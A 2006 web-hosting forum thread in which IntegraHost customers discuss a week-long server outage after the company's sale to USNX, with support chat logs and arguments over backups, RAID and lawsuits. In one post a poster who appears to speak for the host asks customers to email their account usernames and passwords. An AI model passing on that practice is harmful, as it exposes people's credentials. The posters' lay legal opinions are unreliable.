Wow... Kyle and I use to be good buddies until he stopped using AIM and no longer answered me. Kyle always has told me that he used Co-Location on all of his servers with Equinix personally, and he would never go anywhere else. I find that really funny.
Posted by prudents, 11-26-2006, 05:11 PM
this is different ... lol
Posted by prudents, 11-26-2006, 05:16 PM
this is different ... lol
Posted by oates151, 11-26-2006, 05:19 PM
My site still aint up bro, can't back up any files. If you decide to take down the servers without notifying the clients formally, Integra's really gonna be in deep sh**
Posted by oates151, 11-26-2006, 05:21 PM
LOL - very nice bro
Posted by prudents, 11-26-2006, 05:26 PM
my site is coming up and going down.... seems they are working on the servers
Posted by Yeah_Buddy, 11-26-2006, 05:41 PM
Yeah, this is weird, and nkom, I wouldn't shut their servers down unless they have actually stopped paying you.
Posted by prudents, 11-26-2006, 05:46 PM
wow... i have good news guys
Posted by prudents, 11-26-2006, 05:54 PM
Guys, seems things is different. Mr. Kyle said it wasnt his forth. It was the new company's forth. However, the data was crashed from them. And also was in there agreement never to disclose the news. Rather they wanted to do them self. Please read below..... Whom or who should we sue or advise
Posted by oates151, 11-26-2006, 05:57 PM
Just talked to kyle: Here's some clips of our convo: kyle's SN is in bold. Mine is underlined Fastsilverycivic: Im just saying, there working as quick as possible Fastsilverycivic: the server right now has been sent to a top data linux recovery specialist Oates151: 1 week of dead silence isn't satisfying. You could have contacted us. Is it that hard to send a simple email these days? Fastsilverycivic: I dont think you understand Fastsilverycivic: the server drives crashed Fastsilverycivic: they couldnt recover them Oates151: but clients were not notified Oates151: which is a no no Oates151: and 1 month free doesn't make up for the loss of revenue and stress! Fastsilverycivic: they had no way, it crashed Oates151: Who took over and is currently responable of getting these servers up Fastsilverycivic: US Networx Oates151: thank u ;-) Well all-in-all he gave me lots of attitude and said blah blah blah this is my personal screen name or whatever, but the responable company is USNetworX and the servers went down because of a drive failure, but what I dont get is why did all the servers go down, not just one? Why weren't we contacted? Either way Im suing their a**es
Posted by Chris_M, 11-26-2006, 06:32 PM
Who are you going to sue and for what? Did any of you who are talking about suing have backups of your own? If not, you might want to think about doing so in the future. If you had backups, you could have moved and you wouldnt be taking the heat from your clients. You also may want to check the TOS, most hosts put in a paragraph that usually says something to the effect that they will not be responsible for damages past the cost of the account. Not to mention that I am pretty sure you will have to prove the financial losses that your claiming.
Posted by HC-Josh, 11-26-2006, 06:32 PM
Well they didn't all go down, but regardless it doesn't make much sense.
Posted by prudents, 11-26-2006, 06:39 PM
umh.. different idea. What I can say is that, let us wait till friday. However a formal notice should have been passed to all customers before doing all this.
Posted by Chris_M, 11-26-2006, 06:42 PM
The last I checked, a provider didnt have to let his clients know they were being sold.
Posted by prudents, 11-26-2006, 06:46 PM
doing that is criminal ?
Posted by Chris_M, 11-26-2006, 06:52 PM
Doing what is criminal?
Posted by KNL-BSW, 11-26-2006, 07:08 PM
Actually, just selling the clients without selling the business and not notifying the clients could potentially have some liablity in the US due to the Privacy Act and various other implications in that arena. But selling an entire company would have no legal implications for the seller or the buyer as far as the actual transaction goes for them not informing clients. In fact business get purchased and sold daily and many people never know the business has new owners. This purchase though was handled badly.
Posted by oates151, 11-26-2006, 07:10 PM
Whether they were sold or not is their choice to tell us, but the downtime? Why were we left in the dust? Either way, I really don't care anymore. This is all a load of BS in the first place, and obviously this is a crap company. Soon as my site comes back up with the data, ill take it and go. If it doesn't come back, I might aswell prove my case. Whether they put " We're not responable for damage losses yada yada, does it really matter? Is not the job of the hosting company to keep your data protected? And they also promised RAID1 backup. Either way, they broke their own rules with 99.98% uptime and 24/7 customer support not being available, and as I said, one month free hosting doesn't do me any good, I want full refund.
Posted by Yeah_Buddy, 11-26-2006, 07:10 PM
I just talked to Kyle again, and linked him to this post. Hopefully well be receiving an official statement from him soon. Let's see what he's got to say about this mess. EDIT: Small update on my service status, my server is 98% full and I am using like 700 MB out of my allocated 40,000MB. Sucks to be me, eh? EDIT 2: Paypal won't be able to refund me, so lets hope USNX is better than integra ever was. Last edited by Yeah_Buddy; 11-26-2006 at 07:14 PM.
Posted by oates151, 11-26-2006, 07:13 PM
He stated that he was no longer the owner of the company, and he will probably just come here and blab on about how the company that owns it now is doing all they can to get the server up. What I really want to know at this point is why did it go down in the first place? If a piece of hardware failed, why didn't Integra switch themselves over to another one of their servers to let us know whats going on (Not a week after the servers went down like they are doing now) and set up their support desk and what not and then have all the clients moved over to that server, or at least notify us on what we should have done.
Posted by KNL-BSW, 11-26-2006, 07:16 PM
Raid 1 is not a backup. Raid 1 simply means there are two drives that are "mirrored" allowing if one drive goes down to switch to the other. A power supply going out could knock out both drives at the same time. And if it is SATA Raid 1 on a Software Raid controller then a controller failure would destroy the array. If you want to pursue legal action your first step would be to talk to an attorney "AND" locate copies of the TOS, AUP, and SLA. If they didn't have an SLA then you will have no grounds to stand for the 99.98% uptime.
Posted by IntegraHost, 11-26-2006, 07:18 PM
This is not an official statement of IntegraHost since I no longer own the company, the following is my personal statement: I sold IntegraHost to USNX on October 31st. During that time, everything was in good standing. USNX is a very skilled team of individuals. Last week, the srv05 server raid card wrote a bad sector to the hard drives, making them unreadable, the staff on site could not recover the data so the server to my understanding has been sent to a top data recovery team. I have been assisting USNX in anyway I can and I assure they are trying to get the data recovered as fast as possible. Anyone in the hosting industry will tell you that a bad sector write by a raid card is rare but it does happen, and nothing can really be done to prevent it. I ask you all for your patience and to realize the situation and understand that I myself have seen that USNX is doing everything possible. I assure that any rumor of the shared/reseller servers being turned off is not true. Any further questions, please forward it to www.usnx.com. Thank You, Kyle Springer
Posted by Yeah_Buddy, 11-26-2006, 07:20 PM
Well, you were right about that, and yes, he definitely posted his own statement. NOTE: www.nkommunikations.com is the company integrahost used for dedicated clients, not shared clients. If you have a dedicated server with IH, you wont have it much longer as nkom stated he was taking down all IH affiliated servers.
Posted by prudents, 11-26-2006, 07:25 PM
I was on srv05 ... Jesus. Anyway he has said his own. Let's be patient. A patient dog eat the fattest bone. I beleive all would be fine with the help of expert.
Posted by Chris_M, 11-26-2006, 07:26 PM
First, If it was in the TOS and you agreed to it at signup, then yes it matters that its there. If the company stated that they did backups and were responsible, then maybe you have a case, but if they didnt, you probably dont. More importantly is why didnt you also have backups? If you were really making a lot of money and where concerned about your site, you should have had your own backups. If you advertised to your customers that you had backups, you should have had a system in place to deal with an issue like this. Just cause your host has backups doesnt always mean that you do. Last, as Larry pointed out, RAID 1 is not a backup.
Posted by Yeah_Buddy, 11-26-2006, 07:27 PM
Basically Kyle is no longer responsible for anything since he has no ownership anymore. www.usnx.net is where you want to go for all further inqueries. Regarding srv05, ragging on about that would be pointless since the server is now in the hands of a data recovery team.
Posted by oates151, 11-26-2006, 07:59 PM
Disk Space Bandwidth Number of DomainsHost Unlimited Domains Sub DomainsUnlimitedMySQL DatabasesHost Unlimited Databases Data BackupRaid 1Email AccountsUnlimitedcPanel/WHMYesMoney Back Guarantee14 DaySpecialsFree Domain 4 Life Site Builder for Your Clients Free Merchant Account** Free SetupPrice Minimum Purchase is Quarterly $49.95/Quarterly Plan can be specially seen on this page from March 2006 - http://web.archive.org/web/200603031...ellerplans.php This is the exact plan that I purchased in March of 2006 - As you can see it says "Data Backup - RAID1" Which gave me the impression that RAID1 was a backup hard drive type of chip. As defined by Wikipedia, Data Backup is: "Copying of data for the purpose of having a second copy of an original source, in case of damage to the original data source. The "data" in question may be either data as such, or stored program code, both of which are treated the same by the backup software." And RAID1 defined specifically is "(Redundant Array of Inexpensive Disks or disk mirroring) A technique in which data is simultaneously written to two hard drive for redundancy. If one of the drives fails the other will continue to function keeping the network operational." So what happened to that other hard drive for backups? And if RAID1 failed, why would the whole server go down? Wouldn't the server just simply not be backing up the data? Last edited by oates151; 11-26-2006 at 08:03 PM.
Posted by Yeah_Buddy, 11-26-2006, 08:25 PM
All 'good' hosting clients should keep backups. Good hosts will even do it for their clients, but clients should still do it regardless. Your data may not be lost for sure, wait for the results of the data recovery team. Who knows. Maybe theyll recover everything.
Posted by Chris_M, 11-26-2006, 08:25 PM
If the raid card failed and corrupted the drives, the corruption would be on both drives. (this appears to be the case here) I got this from the archive of the site also, http://web.archive.org/web/200602171...st.com/tos.php So the bottom line is that you should have your own backups. It is each and every clients responsiblity to read the TOS, AUP and Privacy Policy of each host that they are looking to do business with. Blindly signing up for things without knowing what these things say can only lead to trouble. Do the research before signing up for any type of service.
Posted by oates151, 11-26-2006, 08:31 PM
Well I don't actually sell hosting - I am a web designer so I just have a reseller since it makes it much easier to give my clients some hosting to view the updates on their site while I'm making it. Either way, I think they're way too many catches in the web hosting industry. I think ill ditch buying any hosting from people I dont have direct contact with since this is way to stressful and time consuming. I'll stick with the guys at clearify.net since I have direct contact with the owner and I'm on a dedicated like server with them anyway. Done with Integra, whether I get my data back or not they just lost a truck load of customers after this, I have no patience for companies who don't get a crap about their clients, like my friends at Dell
Posted by KNL-BSW, 11-26-2006, 08:33 PM
Just to explain something also, even though it doesn't apply here. Just because a hosting company performs backups does not mean they are user accessible or the host will simply jump and do a restore. A quality backup system is not "cPanel backup" or "Plesk backup" or "4PSA Total Backup". These are small solutions. A true backup system is a tape driven system with the tapes being removed offsite for storage. In this scenario a host would bring the tapes on site to do a restore in case of a server failure of any sort or a server compromise, but the cost to do a per site restore is unrealistic "UNLESS" passed directly on to the customers. Which is why you see some hosts charging in excess of $200 for backups or not even making them avialable.
Posted by oates151, 11-26-2006, 08:35 PM
I give up. Too much for me Im out - peace
Posted by eDedi, 11-26-2006, 09:52 PM
Like i said, I have had no contact from kyle or the new owners, and a bill in the range of $$$ is standing. This is a shame, but it is IH who pay the bills for the servers not IH's clients. We have no details on what server is with what client. Or what IH use the servers that they have with us for. If there is anyting i can help you with, please contact me directly jblack@nkommunikation.com Last edited by eDedi; 11-26-2006 at 09:57 PM.
Posted by qwan, 11-27-2006, 01:50 AM
And the other things you are saying in support. I would like to mention that any customer of IH has a strong case. It does not matter if they sold company and did not inform. The case will hold good based on the fact that the servers went down and no one was informed. IF you say that is the customers responsibility to have a backup then I totally agree.(if the company has not promised backup). But even if someone has taken a backup where the hell is the server for them to restore it. If the hard drive crashed then they should have replaced the harddrive and had the server running. As simple as that. People with backup could have had their websites running. Infact I dont think anyone should mention not having backups while suing IH or the other company. If they do the defending lawyers willl haggle you just like Chris_M and divert the attention from the main problem. Infact when suing all they have to say that IH went down and never bothered to come up for a week or more. SO i want to sue for damages. It is a good thing kylie sold it to a bigger company a bigger company means more money to pay for damages. I am sure anyone will win a case with them and might drive the company to bankruptcy. I would love to see them getting sued because i cannot as I am not from the USA. :-(
Posted by KNL-BSW, 11-27-2006, 01:54 AM
You can sue a company in the USA even from out of country, but you would have to travel to the USA in the process of the lawsuit. Not being from the USA you lack a grasp of USA law and the ability for a lawsuit to actually win on the basis you are saying. You are saying that they should be sued to do an outage. Do you have a copy of there SLA (Service Level Agreement)? If you do what does it say for "Compensation" in the case of an outage? Have they met the terms of the "Compensation"? If they have met the terms of "Compensation" in an SLA "IF" they have an SLA then you have no grounds for a lawsuit that would hold weight in the US Courts. I'm not saying that if someone dug deep enough they may not be able to find grounds for a lawsuit, but that one will take some research, locating the SLA and proving they have failed to meet the standards of it.
Posted by BrianCryer, 11-27-2006, 03:48 AM
On Saturday I emailed the support department at usnx.net (the company that have taken over integrahost). This is the response I've just got back: (quote) We recently purchased Integrahost. Shortly after our purchase, one of Integrahost's main servers crashed. We are not happy about this situation at all, as is the case with you, I'm sure. We are in the process of recovering the data off of the failed server. Here is the Integrahost statement: Earlier this week, IntegraHost experienced a hardware failure on one of our servers. The hardware failure brought down some of your websites as well as our IntegraHost Support Center. Since then, our team of engineers has been working around the clock to bring the server back up. We are also taking steps to ensure that this will not happen again. Because of the inconvenience this has cause some of you, we will be issuing a full month's credit to those effected by the hardware failure. Thank you for your patience as we work our way through this. At this point, the time that your site is available is in the hands of a data recovery team. We hope that they will have recovered all of the data early tomorrow. (end quote) At least its an acknowlegement that there is a problem ...
Posted by call6108, 11-27-2006, 04:03 AM
Hi, This is too much!, they screw tons of people BIG time... My customer have been screaming at my since tuesday... just incredible how business owners can be so irresponsable. I bet anyone here that there was NO RAID PROBLEM.. they just wiped their asses with customers. If anyone files a lawsuit.. COUNT ME IN! I want to break their asses and make them return our information. I JUST WANT MY FREAKING BACKUP... I LOST SEVERAL databases... I used to do backups on wednesdays... as u can see I LOST the last backup. Look kyle and usdx what u did to us will go back to u really bad, when you do bad things to people u get screwed sooner or later. Really this has been the worst business practice i've seen in YEARS!
Posted by Yeah_Buddy, 11-27-2006, 02:08 PM
I think USNX is garbage so far, I can't stand being ignored, almost feels like integra v2. I havent been able to contact them for days now. I e-mailed them, left a phone call request, and a voicemail. I'll update if anything changes.
Posted by eDedi, 11-27-2006, 02:20 PM
Im sorry to say, i called them today and the seemed very helpfull.
Posted by call6108, 11-27-2006, 03:00 PM
Hi guys I contacted USNX and they replied to me. I asked them when backups will be available and the responsed: A data recovery firm is working to recover the data. We hope to have the data recovered tomorrow afternoon. Thank you for your patience
Posted by Yeah_Buddy, 11-27-2006, 04:02 PM
Wow, maybe my luck is just running out. Good to hear those replies, I am going to go call them now.
Posted by Yeah_Buddy, 11-27-2006, 05:59 PM
I have a nice update for you all. I was successfully able to contact USNX. They refunded me everything IntegraHost owed me, and are currently assisting me with other small issues. My files and network are still intact, and I have a feeling everything is going to be better from here on out. They were very cooperative, helpful, and friendly on the phone. They have been dealing with quite a few issues since they bought the company and I firmly believe despite all of Kyle's mistakes and false promises, they are going to try and make things right for everybody. Also, I think the data recovery team had some success. The main IntegraHost page is back up, and the support center is apparantly being restored. Has anybody gotten their files back? I would love to hear more on this. -Sam
Posted by prudents, 11-27-2006, 06:46 PM
No I havent got any. my website too is not yet up
Posted by LeadShurtugal, 11-27-2006, 07:08 PM
What email address can I contact them to get my account terminated?
Posted by infernostudio, 11-27-2006, 08:59 PM
Looks like one of the nameservers got put back online: http://www.dnsstuff.com/tools/dnsrep...ntegrahost.com Now I image they are working on ns10.integrahost.com
Posted by infernostudio, 11-27-2006, 09:01 PM
You got a refund for the remaining hosting fees?
Posted by Yeah_Buddy, 11-28-2006, 01:39 AM
I upgraded with IntegraHost awhile ago, and needed a pro-rated refund on my other yearly pre-paid plan. I got that refund.
Posted by codeartsnepal, 11-28-2006, 02:02 AM
All I want now is my clients databases. That is all I need Now.
Posted by prudents, 11-28-2006, 09:32 AM
well not all the server are back online. NS10.Integrahost.com is not back yet as my site was on it and it is not opening at all.
Posted by prudents, 11-28-2006, 11:55 AM
Anyone know if the Srv 05 is back online on integrahost?
Posted by call6108, 11-28-2006, 01:38 PM
Server 05 still down, they have some more software running in the server.. like cpanel.. yet i can't login using my username and password. Hopefully they will have our data back in the server by this afternoon. That's what they told me yesterday. I already have a reseller account with someother company hostgator.com they seem to be stable and they are in the top ten of Cnet's reseller plans... If anyone happen to know a good and low priced reseller plan let me know.. i'm getting charged 24.99 /mo with hostgator for 5G
Posted by prudents, 11-28-2006, 03:44 PM
well this is afternoon. No data is back online yet
Posted by HC-Josh, 11-28-2006, 08:53 PM
We're having plenty of issues here, all of our sites are experiencing a variety of errors, this is what I get when I try to access cPanel: Considering we were using 1.75% of our allocated disk space, that doesn't make a lot of sense. They were supposedly removing files from the server to rectify the problem, I haven't seen any progress all day though. I'm really getting tired of all the problems with this company
Posted by Yeah_Buddy, 11-28-2006, 10:25 PM
It's a different company now. USNX acquired IH and it's not their fault IH was so awful to their customers. I am e-mailing USNX now about that Josh.
Posted by HC-Josh, 11-28-2006, 11:15 PM
Yeah I realize that, but they've supposedly been removing files from the server, which they haven't done, so far they seem just as bad.
Posted by sc00bs, 11-29-2006, 09:18 AM
Ok, so what I would like to know is: 1. The web site statement says "Earlier this week, IntegraHost experienced a hardware failure on one of our servers." - Which server was it and why are ALL of the servers down if it was only one of the servers that had the drive issue? 2. If it was a faulty drive/controller issue, why were the faulty parts not simply replaced and the backups restored. Why was this not done? (was there no sort hardware SLA in place. no backups maybe?) 3. It is now 7 Days since the servers (I assume that they had more than one server) have gone down, all we have is the told is that they are working on it. What is going on? Based on these questions and the lack of open disclosure from Kyle & Usnetworx (neither of them voluynteered any information, it was onyl after a lot of pressure that any statement was made) as to what is ACTUALLY going on at the moment I suspect that. - Some other issue other than a simple hardware failure resulted on all of the Integrashost servers going down. - No backups were kept of the data on the servers - Usnetworx is frantically trying to recover as much of the data as they can, based on their results to date I suspect that they are not having much luck. I also suspect that there may be a basis for a class action suite for damages and extreme negligence against Integrahost (and whoever owns it now a days) Regards JohnB
Posted by prudents, 11-29-2006, 02:03 PM
I just chatted with integrahost support and I was made know that srv 05 which my site www.prudenthost.com should be back online in 48hrs Umh.. quite different from the one they said earlier. Let's wait and see the outcome
Posted by Yeah_Buddy, 11-29-2006, 02:18 PM
prudents just wait awhile until they do something, no sense harping on the new guys, it will be done when it's done. It's out of there control.
Posted by call6108, 11-29-2006, 06:41 PM
Hi everyone, well I just chatted with one of the guys at IH and they told me the same thing as PrudentHost ... that servers will be done in 48h... well - On monday they told me they were going to have them ready by Tuesday. - On tuesday they told me MY problem was going to be resolved in 1 hour - On tuesday (after 8 Hours) they told me it was going to be restored by wednesday. - On wednesday they just told me in 48h What's really going on???
Posted by codeartsnepal, 11-30-2006, 01:41 AM
Ha ha ha, Guess what ? I talked with one of the Guy. I told him that I have a reseller account in his server. And he told me - Okay. - What is the problem? Ha ha ha They still ask "What is the problem ?" Really freaking
Posted by chaines, 11-30-2006, 12:56 PM
I just had this conversation with tech support. We'll see if he's right. Chris Haines: Hello, what is the status of the server? Yesterday I was told it be up this morning? Robert Jinkins: yes but it is take some time Robert Jinkins: it will be up today
Posted by prudents, 11-30-2006, 01:04 PM
lol funny. I was told yesterday it would be up 48hrs. Now it would be up today. Lets give them some time and see the outcome. Hope something done soon
Posted by call6108, 11-30-2006, 03:35 PM
Andy Drake: Welcome to Integrahost Live Chat! I will be glad to help you in anyway I can. If for some reason, one of us get disconnected from the chat, just open up a new live chat and ask for me. Sometimes we do get disconnected from chat on accident. Now how may I help you? Carlos Landaeta: Hello Andy, how are you doing? Carlos Landaeta: I have a Reseller account with u guys... I know ALL about the issue that's being going on for the past days.. I want know WHEN are we getting back our service and data.. Carlos Landaeta: i have angry customers, who lost their shopping carts and who knows which order got stuck since the problem with the server Andy Drake: server will be up today Carlos Landaeta: what is the expected time for that? Carlos Landaeta: because I'v been told different things since this problems started Andy Drake: server will be up today Carlos Landaeta: ok, I understand that. A what time will be the server up? Andy Drake: can't tell that Andy Drake: but it will be up today
Posted by prudents, 11-30-2006, 07:04 PM
Guys, read this from integrahost.com Great Success ! Apache is working on your cPanel® and WHM™ Server If you can see this page, then the people who manage this server have installed cPanel and WebHost Manager (WHM) which use the Apache Web server software and the Apache Interface to OpenSSL (mod_ssl) successfully. They now have to add content to this directory and replace this placeholder page, or else point the server at their real content. ATTENTION! If you are seeing this page instead of the site you expected, please contact the administrator of the site involved. (Try sending an email to .) Although this site is running cPanel, WebHost Manager, and Apache software it almost certainly has no other connection to cPanel Inc. or the Apache Group. Please do not send mail about this site or its contents to cPanel Inc. or the Apache Group. About cPanel: cPanel is a leading provider of software for the webhosting industry. If you would like to learn more about cPanel please visit our website at www.cpanel.net. Please be advised that cPanel Inc. is not a web hosting company, and as such has no control over content found elsewhere on this site. About Apache HTTP Server: The Apache HTTP Server is an open source web server which powers many of the worlds web sites. The Apache HTTP server is part of the Apache Group's many influential projects. Their efforts have helped shape much the world wide web, and they continue to be a dominating force in the web hosting industry. I think something is about to happen. Good luck guys
Posted by call6108, 12-01-2006, 01:12 PM
Our history with integrahost seems to be endless, I think they are just trying to wear out our hope so someday we just forget about the data and the servers. Yesterday they were saying that the server was going to be up... as you guys can see, it is not back on. they just lied to us AGAIN we get a new lie everyday... Well.... their customer support is down again.. what a coincidence...! If any of you happen to have good news, plz let me know... Thanks!
Posted by sc00bs, 12-01-2006, 02:40 PM
I phoned US Networx, they said that they were still trying to recover the data. They obviously don't have a backup of the server otherwise I assume that they would have used it already. I think all that we can do is hope that they get it right at this point. JohnB
Posted by chaines, 12-01-2006, 08:11 PM
Here's a conversation that I had at 5:40 am (EST) today. Robert Jinkins: Welcome to Integrahost Live Chat! I will be glad to help you in anyway I can. If for some reason, one of us get disconnected from the chat, just open up a new live chat and ask for me. Sometimes we do get disconnected from chat on accident. Now how may I help you? Chris Haines: Why isn't the server back up? I keep getting told that you're just about to get it up? Robert Jinkins: the server will be back up by tonite Chris Haines: Didn't you guys have back-up tapes for the server that went down? Robert Jinkins: yes everything is backed up Chris Haines: How come you couldn't simply restore the tape back-ups in order to get the vast majority of the data back on-line while you were recovering the bad disks? Robert Jinkins: the system has been crashed Robert Jinkins: and we are building a new system with upgradation Chris Haines: I still don't understand because you should be able to put something in place while you restore, upgrade or whatever to the main system. Is there anyway you can make files from the old system available so I can download them? Robert Jinkins: everything will be made available to you Robert Jinkins: but you need to wait for tonite Chris Haines: I really hope its ready. You guys have screwed up the lives of many people by being down for a week and a half.
Posted by oates151, 12-02-2006, 12:13 AM
I was in a chat this morning asking where my info was before they post this on their website: "Srv05 Update: We have successfully restored our client's websites. Sites should begin to show up throughout the day. If you have any issues, please email us at admin@integrahost.com. Thank you for your patience." The guy said that my site would be up within 12 hours guaranteed (I was talking to him at 10:16 AM this morning.) I am still sitting here and my website, www.cheepwebhost.net is still not up :/ Stupid Integra.
Posted by chaines, 12-02-2006, 09:53 AM
Here is my latest conversation. They are claiming it is DNS propagation that is just needing to happen. Perhaps but I am skeptical. I am also stumped as to why the tech support guy couldn't give me the IP address of the SRV05. If we all had that, at least we could access our files. Robert Jinkins: Welcome to Integrahost Live Chat! I will be glad to help you in anyway I can. If for some reason, one of us get disconnected from the chat, just open up a new live chat and ask for me. Sometimes we do get disconnected from chat on accident. Now how may I help you? Chris Haines: Hello, Is srv05 still restoring? I still cannot access my sites? What is its IP address? Robert Jinkins: everything is set Robert Jinkins: only the dns propogation will take time Robert Jinkins: It will take around 24 hours to get the domain propogated to the new server Chris Haines: What is the IP addres of the machine? Robert Jinkins: can you mail your details at admin@integrahost.com Robert Jinkins: and all the details will be provided to you ... Chris Haines: Okay? I do not understand why though.
Posted by BrianCryer, 12-02-2006, 01:08 PM
My site now has the IP address of 12.108.68.130, so that may be the IP address you want. My site isn't up - I told them I was happy to push the content back up, but I do at least have access to cpanel. What I'm waiting for now is for them to sort out why ftp isn't working so I can push my site back up.
Posted by prudents, 12-02-2006, 04:15 PM
Guys, Andy at Integrahost told me that the data recovery process completed but the server is still down and should be up in 12hrs What do you think? You are now chatting with Andy Drake (General) Andy Drake: Welcome to Integrahost Live Chat! I will be glad to help you in anyway I can. If for some reason, one of us get disconnected from the chat, just open up a new live chat and ask for me. Sometimes we do get disconnected from chat on accident. Now how may I help you? jacob o: Helo Andy jacob o: how are u doing this afternoon? This is Jacob O . Owner of prudenthost.com jacob o: please I will like to know why my website is still now showing and that of my clients website Andy Drake: Hello Andy Drake: How can i help you ? jacob o: please I will like to know why my website www.prudenthost.com is still now showing and that of my clients website Andy Drake: server is still not up Andy Drake: that's why your site is not access able Andy Drake: once the server is up you can access your site jacob o: excuse me jacob o: i saw this on your site jacob o: Srv05 Update: We have successfully restored our client's websites. Sites should begin to show up throughout the day. If you have any issues, please email us at admin@integrahost.com. Thank you for your patience. jacob o: that the srv05 is updated jacob o: I am confused jacob o: When would the server be up please Andy Drake: yes the data recovery process is complete Andy Drake: but server is still down jacob o: when would the server be up? Andy Drake: it will be up within 12 hours jacob o: so the 12hrs is guranteed and also I should be able to have access to my cpanel and also my reseller account . and also all my datas would still be able to access jacob o: please let me know if i am correct Andy Drake: once the server is up you will have full access to your site jacob o: Alright. I only hope you guys keeps to your words for now jacob o: thank you and do have a lovely weekend, Andy jacob o: bye
Posted by Yeah_Buddy, 12-02-2006, 07:06 PM
Dont ever bother with integra's live support or ticketing system. If you want something done with that company, e-mail admin@integrahost.com, or talk to somebody in charge. They by far have the worst techs in the industry.
Posted by call6108, 12-02-2006, 09:01 PM
I just talked to one IntegraIdiot tech support rep, they guy had teh guts to tell me: THE SERVER WILL BE UP SOON... Guys we have been told about 10 different reasons why the servers is down, or when is it going to be up.. they just counl't care less about us. I just want a concrete answer.. WHEN.. they just can't say anything, now i'm getting really worried about my customer's data. If this isn't working by Monday, I will contact a lawyer and see what my options are on filing some kind of legal complaint or suit agains integracrap....
Posted by chaines, 12-03-2006, 02:06 AM
I just had another worthless conversaton too. I am really starting to lose hope and think that they are playing games with everyone. Yesterday it was propagation, last night it was because the data was transferring to a new server and tonight we still aren't up. I remember at one point someone mentioned that the sites would all be up in an hour. I think call6108 is right about making it a legal issue. We have been fed misinformation all week and in turn have given our clients misinformation because we were gullible enough to believe their statements.
Posted by prudents, 12-03-2006, 07:20 AM
Integrahost needs to be dealt with. They have caused alot of damages, lying and also misleading
Posted by prudents, 12-03-2006, 07:31 AM
Anyone email admin@integrahost.com Have they responded to your email? Please share what they told you. I havent receive any reply from them
Posted by sc00bs, 12-03-2006, 08:43 AM
No reply to me either
Posted by chaines, 12-03-2006, 05:49 PM
I have sent two emails to admin over the last few days with no reply.
Posted by prudents, 12-03-2006, 08:33 PM
integrahost gave 48hrs, it passed they gave another 24hrs, not completing no show. What is really going on
Posted by prudents, 12-04-2006, 11:54 AM
Guys Integrahost.com completed there restoring process. My website www.prudenthost.com can now be seen. However, my fear is that I cant login to cpanel and also i am seeing a different website on my domain. Please advise why I am seeing a different homepage
Posted by S1cKN8, 12-04-2006, 12:14 PM
There were DNS issues all sites should be coming backup.... we set the ttls very low, to speed it up.....
Posted by prudents, 12-04-2006, 12:19 PM
Great . Do you have a specific time for that to get resolved
Posted by prudents, 12-04-2006, 12:22 PM
My site is back online now... but cpanel cant be accpet . Giving invalid user or password
Posted by S1cKN8, 12-04-2006, 12:23 PM
email admin@integrahost.com send your username and password...
Posted by chaines, 12-04-2006, 12:56 PM
S1cKN8 This is encouraging. I still cannot see my sites but is there an IP address that can be used? I tried http://12.108.68.130/~[username] but that didn't work.
Posted by S1cKN8, 12-04-2006, 01:03 PM
We don't have that feature on right now but we will enable it. Send your domain user and pass to admin@integrahost.com
Posted by call6108, 12-04-2006, 02:20 PM
Carlos: HI Andy ... Andy Drake: Welcome to Integrahost Live Chat! I will be glad to help you in anyway I can. If for some reason, one of us get disconnected from the chat, just open up a new live chat and ask for me. Sometimes we do get disconnected from chat on accident. Now how may I help you? Andy Drake: Hello Carlos: This morning I received an email from you guys, telling me that everything was ready to login to my account. When i run integrahost.com/cpanel to login to my cpanel.. just get the message This Page Cannot Be displayed Carlos: now.. i also wanted to know whats the server ip address since i moved my domain to other hosting company Carlos: and i need to access my whm as well as all my customer's cpanel Andy Drake: Please wait a moment, I am investigating this issue for you and will update you shortly Andy Drake: Hello Carlos: ahh oka Carlos: sorry wrong chat Carlos: tell me Andy Drake: The new system has comeup with new upgradation Andy Drake: and all the sites has been recovered Andy Drake: since it's a new server the dns propogation of the server will take around 24 - 48 hours to propogate Carlos: i understand that... can i login to my cpanel now? Carlos: look my friend I've been told 10 differente things since last week Carlos: whats the truth? Andy Drake: if you can wait for 24 hours everything will be fine and if again you face any problem you can contact our sysadmins directly by mailing them at admin@integrahost.com Carlos: i have done that SERVERAL time.. .I want this resolved today.. i don't care about dns propagation.. or any other excuse.. I want the SERVER IP which doesn't require ANY propagation.. So i can Login and get my data back. Carlos: i want an answer now, so please provide me with server address so i can login to my account and get all my data Andy Drake: but the server setting is going on. Andy Drake: there are two servers which are in process Carlos: i don't care Carlos: i have lost DAYS of work Andy Drake: As soon as i get update related to your site we will let you know Carlos: my customers LOST their data Carlos: WE NEED OUR STUFF TODAY! now Carlos: this has been too much Carlos: too long Carlos: too irresponsible Andy Drake: I told you now that there are two servers in process Carlos: u guys have been saying 20 diffrent thing SINCE server went down Andy Drake: please it will be soon working Carlos: ok.. don't want to answer me, perfect .. answer my lawyer Carlos: this was the last change Carlos: chance Carlos: bye I will be providing if you guys like information about the lawyer i'm getting!
Posted by infernostudio, 12-04-2006, 04:11 PM
This is ******** .. i need my sites up NOW!!!!!!!! My clients have been waiting for weeks now, this is ridiculous. I emailed admin@intergrahost.com 15 times now over the past week with no reply!!! They are as uncompetent as they where a month ago. To anyone considering using their services or current account holders, say away!!! Take your money and run... They obviously do not know what they are doing.
Posted by Energizer Bunny, 12-04-2006, 04:23 PM
Do you backups for your sites , if not i doubt you will get your sites backup from them. Good luck studio
Posted by prudents, 12-04-2006, 04:25 PM
my site is coming up now. but dat of my client is no where to be find. I was told to wait.
Posted by Profuse-Will, 12-04-2006, 05:37 PM
Lawyer's hours usually costs an arm and a leg. I am looking forward to see what your lawyer has to say and if he has the ability to understand internet commerce as there isnt much laws regulating it currently.
Posted by BrianCryer, 12-05-2006, 03:56 AM
Have integrahost now gone belly up? I cannot connect to their site at all now. A week or so back I did email integrahost@usnx.net to ask them to release my domain to me, which fortunatly is in the process of going through. If anyone still has their domain owned/locked by integrahost I would urge them to do the same - it gives you the freedom to go elsewhere.
Posted by zwolf, 12-05-2006, 05:54 AM
OMG. What a read all that was. This sounds like a total nightmare! I would think you guys must have some legal grounds for some type of lawsuit. I would be losing my mind by now if I was experiencing this! This is totally unacceptable. Problems can happen, but this is out of this world. I hope you are all able to get your files back and run as fast as possible away from this company. It sure doesn't sound as if the new company has a clue what they are doing over there.
Posted by Yeah_Buddy, 12-05-2006, 06:46 PM
I personally think the new guys are good at what they do, they just got tossed into a gigantic mess and needed time / resources to tie up the lose ends that kyle was responsible for. USNX has been very cooperative with me and helped me resolve every problem I was facing except for one, which is now being looked into. I have talked with them by phone, and they call me instead of me calling them. IMO, total opposite company from IntegraHost. These guys are good at what they do. Just give them some time to fix everything up and get the company running smoothly again, and I bet you will see some huge results (you already have).
